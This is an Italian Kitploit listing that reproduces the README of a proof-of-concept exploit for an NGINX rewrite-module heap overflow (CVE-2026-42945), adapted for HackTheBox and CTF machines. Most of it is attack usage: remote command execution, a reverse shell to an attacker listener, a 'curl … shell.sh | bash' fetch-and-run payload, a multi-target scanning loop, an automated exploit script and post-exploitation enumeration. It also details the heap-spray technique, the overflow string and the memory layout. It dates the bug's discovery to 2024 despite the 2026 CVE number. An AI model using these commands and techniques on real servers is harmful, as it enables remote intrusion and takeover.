Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/cipherspy/cve-2026-42945-poc
RicognizioneGenerazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebCTFPenetration TestingCommand and ControlApprendimento e FormazioneBinary Exploitation
GitHubcipherspy/cve-2026-42945-poc
541373 mesi faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →

CVE-2026-42945-POC

exploit per CVE-2026-42945

Vedi Repository
Condividi

CVE-2026-42945 (NGINX Rift) - Exploit pronto per HTB

Exploit standalone per la vulnerabilità di heap buffer overflow in NGINX scoperta nel 2024. Questa versione è ottimizzata per ambienti HackTheBox e CTF in cui non è possibile configurare container Docker.

Dettagli della Vulnerabilità

CVE-2026-42945 è un heap buffer overflow critico in ngx_http_rewrite_module di NGINX, presente dal 2008 (versione 0.6.27). Il bug si verifica quando:

  1. Una direttiva rewrite contiene ? nella sostituzione (imposta is_args = 1)
  2. Una direttiva set cattura parte dell'URI
  3. Il calcolo della lunghezza avviene su un sub-engine azzerato (vede is_args = 0)
  4. La fase di copia viene eseguita sul motore principale (vede is_args = 1)
  5. L'escape dell'URI espande i caratteri 3 volte, causando overflow del buffer sottodimensionato

Versioni Affette

Scarica lo strumento
  • NGINX Open Source: 0.6.27 - 1.30.0
  • NGINX Plus: R32 - R36

Versioni Corrette

  • NGINX Open Source: 1.31.0, 1.30.1
  • NGINX Plus: R36 P4, R35 P2, R32 P6

File Inclusi

  1. nginx_rift_htb.py - Script exploit principale
  2. nginx_rift_helper.py - Helper per ricognizione e information leak
  3. README.md - Questo file

Requisiti

root@kitploit:~
# Python 3.6+
sudo apt update
sudo apt install python3 netcat-openbsd

# Non sono necessari pacchetti Python aggiuntivi - utilizza solo stdlib!

Avvio Rapido

1. Verifica se il Target è Vulnerabile

root@kitploit:~
python3 nginx_rift_htb.py --target 10.10.11.x --check-only

Questo comando:

  • Rileva se NGINX è in esecuzione
  • Cerca di identificare la versione
  • Verifica l'esistenza dell'endpoint /api/
  • Segnala se il target sembra vulnerabile

2. Ricognizione (Consigliata)

root@kitploit:~
python3 nginx_rift_helper.py --target 10.10.11.x --all

Questa operazione esegue:

  • Fingerprinting di NGINX
  • Rilevamento versione
  • Scoperta di endpoint
  • Rilevamento di information leak
  • Analisi comportamentale

3. Eseguire l'Exploit

Eseguire un comando:

root@kitploit:~
python3 nginx_rift_htb.py --target 10.10.11.x --port 80 --cmd "id"

Ottenere una reverse shell:

root@kitploit:~
# Avviare prima il listener (in un altro terminale)
nc -lvnp 4444

# Eseguire l'exploit
python3 nginx_rift_htb.py --target 10.10.11.x --shell --lhost 10.10.14.5 --lport 4444

Esempi di Utilizzo

Esecuzione di Comandi Base

root@kitploit:~
# Eseguire 'id'
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "id"

# Eseguire 'whoami'
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "whoami"

# Leggere /etc/passwd
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "cat /etc/passwd"

Reverse Shell

root@kitploit:~
# Terminale 1: Avviare il listener
nc -lvnp 4444

# Terminale 2: Eseguire l'exploit
python3 nginx_rift_htb.py \
    --target 10.10.11.23 \
    --shell \
    --lhost 10.10.14.5 \
    --lport 4444 \
    --verbose

Indirizzi Personalizzati (Se ASLR è disabilitato o si hanno leak)

root@kitploit:~
python3 nginx_rift_htb.py \
    --target 10.10.11.23 \
    --cmd "id" \
    --heap-base 0x555555659000 \
    --libc-base 0x7ffff77ba000

Opzioni Avanzate

root@kitploit:~
python3 nginx_rift_htb.py \
    --target 10.10.11.23 \
    --port 8080 \
    --cmd "curl http://10.10.14.5/shell.sh | bash" \
    --tries 20 \
    --verbose

Comprendere l'Exploit

Come Funziona

  1. Heap Spray: L'exploit invia multiple richieste POST con corpi costruiti contenenti una struttura ngx_pool_cleanup_s fittizia
  2. Attivazione Overflow: Invia una richiesta GET a /api/ con un URI appositamente costruito che causerà overflow durante l'escape
  3. Hook di Cleanup: L'overflow corrompe il puntatore di cleanup di un pool adiacente, puntandolo alla nostra struttura fittizia
  4. Esecuzione del Codice: Quando il pool viene distrutto, chiama system() con il nostro comando

Parametri Chiave

  • Target bytes: Indirizzi a 6 byte che devono contenere solo caratteri URL-safe
  • Spray body: Corpo POST di 4000 byte contenente la struttura di cleanup fittizia
  • Overflow payload: 349 'A' + 969 '+' che si espandono 3 volte durante l'escape

Considerazioni su ASLR

L'exploit presuppone che ASLR sia disabilitato o che si conoscano gli indirizzi. Su HTB:

  • Alcune macchine disabilitano ASLR per semplificare lo sfruttamento
  • Altre richiedono di trovare un information leak
  • Lo script helper può assistere nella ricognizione

Se ASLR è abilitato, potresti aver bisogno di:

  1. Trovare un info leak nell'applicazione
  2. Brute force (richiede molti tentativi)
  3. Usare sovrascritture parziali (avanzato)

Risoluzione dei Problemi

"Il target non sembra eseguire NGINX"

  • Verifica che il target stia effettivamente eseguendo NGINX
  • Controlla se la porta è corretta
  • Potrebbe essere dietro a un WAF/proxy

"Impossibile confermare l'endpoint /api/"

La configurazione vulnerabile richiede:

root@kitploit:~
location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;
    set $original_endpoint $1;
}
  • L'exploit potrebbe comunque funzionare se rewrite+set esistono altrove
  • Prova percorsi comuni diversi: /api/, /admin/, /internal/

"Tutti i tentativi di sfruttamento sono falliti"

Possibili ragioni:

  1. ASLR è abilitato - Gli indirizzi sono randomizzati

    • Soluzione: Trova un info leak o fai brute force
  2. Versione libc diversa - system() a offset differente

    • Soluzione: Prova tutti gli offset con --verbose
  3. Versione non vulnerabile - Versione corretta o configurazione diversa

    • Soluzione: Verifica la versione con lo script helper
  4. WAF/IDS che bloccano - Controlli di sicurezza attivi

    • Soluzione: Potrebbero essere necessarie tecniche di evasione
  5. Endpoint sbagliato - Non utilizza la combinazione rewrite+set

    • Soluzione: Trova l'endpoint effettivamente vulnerabile

Modalità Verbosa

Usa sempre --verbose per il debug:

root@kitploit:~
python3 nginx_rift_htb.py --target 10.10.11.23 --cmd "id" --verbose

Questo mostra:

  • Stato di ogni richiesta spray
  • Tentativi di connessione
  • Temporizzazione dell'attivazione overflow
  • Logica di rilevamento crash

Suggerimenti Specifici per HTB

Trovare il Proprio IP VPN

root@kitploit:~
# Trova il tuo IP tun0
ip addr show tun0 | grep inet

# Usa questo IP per --lhost
python3 nginx_rift_htb.py --target TARGET --shell --lhost TUO_IP_TUN0 --lport 4444

Stabilizzare la Shell

Una volta ottenuto l'accesso iniziale:

root@kitploit:~
# Aggiorna a TTY
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Metti in background e imposta terminale
Ctrl+Z
stty raw -echo; fg
export TERM=xterm

Enumerazione Comune su HTB Dopo la Shell

root@kitploit:~
# Controlla l'utente corrente
id
whoami

# Cerca le flag
find / -name "user.txt" 2>/dev/null
find / -name "root.txt" 2>/dev/null

# Controlla i permessi sudo
sudo -l

# Controlla i binari SUID
find / -perm -4000 2>/dev/null

Utilizzo Avanzato

Generazione Payload Personalizzato

Se hai bisogno di personalizzare il payload:

root@kitploit:~
# Modifica la funzione make_body() in nginx_rift_htb.py
# Regola BODY_LEN per configurazioni diverse
# Modifica la stringa di overflow (349 'A' + 969 '+')

Target Multipli

root@kitploit:~
# Crea una lista di target
cat targets.txt
10.10.11.23
10.10.11.24
10.10.11.25

# Testa ciascuno
while read target; do
    echo "Testing $target"
    python3 nginx_rift_htb.py --target $target --check-only
done < targets.txt

Sfruttamento Automatizzato

root@kitploit:~
#!/bin/bash
TARGET=$1
LHOST=$2

echo "[*] Avvio listener..."
nc -lvnp 4444 &
LISTENER_PID=$!

sleep 2

echo "[*] Esecuzione exploit..."
python3 nginx_rift_htb.py \
    --target $TARGET \
    --shell \
    --lhost $LHOST \
    --lport 4444 \
    --verbose

wait $LISTENER_PID

Dettagli Tecnici

Pattern di Codice Vulnerabile

root@kitploit:~
location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;  # Imposta is_args=1
    set $original_endpoint $1;                     # Alloca basandosi su is_args=0
}

Flusso di Sfruttamento

root@kitploit:~
1. Spray POST → Riempie heap con strutture di cleanup fittizie
2. GET /api/AAAA...++++...X → Attiva overflow
3. Overflow corrompe puntatore cleanup del pool adiacente
4. Pool distrutto → Chiama system(cmd)

Layout di Memoria

root@kitploit:~
[Corpo Heap Spray - 4000 byte]
+0:  system_addr (8 byte)
+8:  data_addr (8 byte) 
+16: next (8 byte, NULL)
+24: command_string (variabile)
+rimanente: padding 'A'

Riferimenti

  • POC originale: https://github.com/p3Nt3st3r-sTAr/CVE-2026-42945-POC
  • Write-up tecnico: https://depthfirst.com/research/nginx-rift
  • Advisory NGINX: https://my.f5.com/manage/s/article/K000160932
  • Dettagli CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-42945

Disclaimer

Questo strumento è fornito solo a scopo educativo e per test di sicurezza autorizzati. L'utilizzo contro sistemi di cui non si è proprietari o per cui non si ha esplicita autorizzazione è illegale. L'autore non si assume alcuna responsabilità per un uso improprio.

Crediti

  • Vulnerabilità originale scoperta da depthfirst
  • POC originale: p3Nt3st3r-sTAr
  • Adattamento per HTB: Modificato per uso standalone

Licenza

Solo a scopo educativo/di ricerca. Usare in modo responsabile.